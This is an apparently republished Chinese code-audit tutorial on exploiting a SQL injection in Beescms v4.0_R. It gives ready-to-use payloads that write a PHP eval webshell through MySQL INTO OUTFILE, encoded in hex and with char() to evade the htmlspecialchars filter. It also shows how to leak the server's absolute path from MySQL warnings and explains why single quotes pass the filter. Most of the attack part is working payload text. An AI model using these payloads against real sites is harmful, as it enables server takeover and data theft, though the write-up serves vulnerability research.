Author:ohlinge@i春秋

0x01 前言

本文承接上一篇:【代码审计初探】Beescms v4.0_R SQL注入

在上一篇中,详细的介绍到了SQL注入产生的条件和原因,而对利用方法的思考还是有局限性,没有达到效果。另外对于单引号的引入问题还不是很明确。在这篇,我们继续对这一处SQL注入进行分析。

0x02 Mysql注入的一个特性

上篇分析到,由于函数fl_html()的影响,其实就是php函数htmlspecialchars(),导致不能写shell到目标机器。其实这里利用Mysql注入的一个特性就可以达到注入的效果。即对shell部分进行Hex编码,或者用mysql函数char()就可以轻松绕过这里的限制。

方法一 hex编码

我们写入shell的语句是:

user=admin' uni union on selselectect null,null,null,null,<?php @eval($_POST[a]); ?> in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

对shell部分进行hex编码为,这里我们采用Python简单编码:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'

写入shell的payload为:

user=admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b615d293b203f3e in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

记得在编码转换的时候前面加0x或者直接用函数unhex亦可。

unhex(3c3f70687020406576616c28245f504f53545b615d293b203f3e)

然后通过Burpsuit修改数据包写入,如图所示:

本地查看写入的文件如图:

可以看到在爆出密码的同时写入了webshell,下面我们尝试用菜刀链接,成功拿到webshell:

方法二 使用char函数

Mysql内置函数char()可以将里边的ascii码参数转换为字符串,同样是上面编写的webshell转换成ascii的形式,这里我们用Python实现快速转换:

>>> map(ord, "<?php @eval($_POST[a]); ?>")
[60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62]

然后我们的注入语句就可以写作:

user=admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62)  in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

同样我们看看执行后的结果是成功写入了webshell:

本地加入的a.php文件内容:

成功拿到webshell

这里需要注意,有时候用char函数时,会出现乱码的情况,这个时候就需要将两种方式结合起来,采用下面的形式即可避免乱码出现:

unhex(char(60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62))

以上两种方式就可以成功绕过一些敏感字符过滤,从而正常写入webshell。

0x03 绝对路径问题

正如@zusheng 师傅在上篇的评论,前面的测试均是在本地测试的,有个问题就是本地文件绝对路径我们是知道的,但是远程情况下,我们不知道网站绝对路径。在这种情况下我们是不是就没有办法继续了?其实不然,足够细心的话你会发现前面有张图里边已经有绝对路径出现了,没错,就是Burpsuit执行注入语句那张图。那么我们就知道了,需要让mysql出现Warring就可以得到路径了。

比如还是写shell的语句,不知道路径的情况下随便写一个不存在的路径也可以达到效果,如下图:

方法很多,多多尝试总会有新发现的!

0x04 对单引号问题的思考

上篇中有评论到单引号的问题,就是说既然htmlspecialchars函数过滤掉了单引号,那么注入语句中的单引号是怎么引入的? 针对这个问题,我查阅了一些资料,也在本地测试此函数,得出了一个结果,就是在默认情况下,函数只解析双引号,如图:

那既然这样的话,代码中这样写的话htmlspecialchars(str),都存在单引号引入的问题。 我们看看Beescms里边的写法,定位到函数 fl_html : (位于/includes/fun.php下面)

function fl_html($str){
        return htmlspecialchars($str);
}

可以看到的确是这样写的,证明了单引号引入的问题。

0x05 总结

看似简单的审计过程,其实其中涵盖的知识点很多。像上面涉及到的PHP语法、Mysql、网站绝对路劲爆破以及利用Python来方便自己的工作等等,大多数都是要靠我们平时多积累。而且要懂得变通,就像在本篇中的mysql注入的利用技巧,单引号注入问题都很常见,但是如果我们了解不够深刻的话,还是很难成功地审计一款系统的。希望对你有所收获。

原文地址:http://bbs.ichunqiu.com/thread-13606-1-1.html?from=seebug


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/83/